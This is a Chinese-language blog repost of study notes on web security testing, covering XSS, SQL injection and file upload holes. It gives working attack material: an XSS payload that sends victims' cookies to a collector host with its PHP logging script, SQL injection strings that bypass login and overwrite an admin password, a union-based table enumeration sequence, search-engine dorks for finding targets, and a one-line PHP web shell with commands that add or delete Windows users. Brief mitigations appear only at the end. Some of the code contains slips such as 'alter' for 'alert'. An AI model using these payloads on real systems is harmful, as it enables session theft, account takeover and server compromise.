web安全性测试

1.认证和授权

测试有没不经过登录就可以访问的页面

2.session和cookies欺骗

不保存重要的信息,作用域:每个项目单独存放cookies

3.ddos攻击

a.肉鸡

b.攻击联盟

c.建立tcp连接的规则,虚假ip

4.xss跨站攻击

定义:是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

譬如在某文本框输入<input type="button" value="点我"  οnclick="alter('你好')"/>

譬如,获取当前登录用户的cookies。<img src="xxxx.jpg" οnclick="alter(document.cookies)"/>     

==================================================================================

获取到当前用户的cookies并发送到指定的网址。

1.伪装一个图片链接<img src="xxxx.jpg" οnclick="location.href='http://192.168.201.135/input.php?getCookies'document.cookies='+document.cookies"/>

2.在主机192.168.201.135网站默认目录创建一个input.php文件。代码如下:

<?php
$cookiesValue = $_GET['cookies'];
$file = fopen("c:\catchCookies","a");
fwrite($file,$cookiesValue);
fclose($file);
?>

 

5.sql注入

a.利用SQL注入登录Agileone

select username,password from user where username=$_GET['xx'] and password=$_GET['xx']

 

x'or userid=1 #'

select username,password from user where username='x' or userid=1 #'' and password=$_GET['xx']

 

x';update user set password = '223456' where userid = 1 #'

select username,password from user where username='x';update user set password = '223456' where userid = 1 #''

先用order by num     //先测试有几列

然后and 1=2 union select 1,2,...num     //这个num要跟上一步的数字一样

再然后可以在select语句里面使用database()获取数据库名mydata

接着通过select table_name from information_schema='mydata' limit a,b获取表名。a(0开始)表示从第几条开始,b表示显示几条

再接着通过select column_name from information_columns where table_schema='learn' and table_name='user'          //获取列名

 

 

1.服务器端没有对输入长度进行验证;

2.我们需要猜测表名,列名,加密方式。

b.利用URL地址参数注入SQL

踩点:在百度上查找关键字,inurl:.php?

1.要试探是否有SQL注入的可能,先在地址后面加上单引号' 如果正常显示,那就加上 1=2,再不行,就加数据库中的order by

2.单引号是字符串分隔符

3.直接把单引号转义\'

6.文件上传漏洞

譬如:php开发的网站,可以上传php文件。php文件内容为:

<?php system($_GET['cmd']); ?>

该文件就可以随意输入命令,对系统进行操作

譬如:服务器的操作系统是window,增加一个hello用户,可以在浏览器输入url,后面加上?cmd=net user hello /add   ,该命令表示在系统中增加一个hello的用户

譬如:服务器的操作系统是window,删除一个hello用户,可以在浏览器输入url,后面加上?cmd=net user hello /del

可以使用?cmd=echo fdfdfdf >> d:\input.txt 向系统写入内容。

解决方法:

1.文件的过滤

a.过滤文件后缀名

b.通过二进制文件判断文件类型

2.修改服务器核心配置,禁用脚本引擎运行系统命令。

譬如:可以在Apache的php.ini文件中禁用相关函数disable_function = system。表示禁用system函数。

转载于:https://my.oschina.net/bysu/blog/784578

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值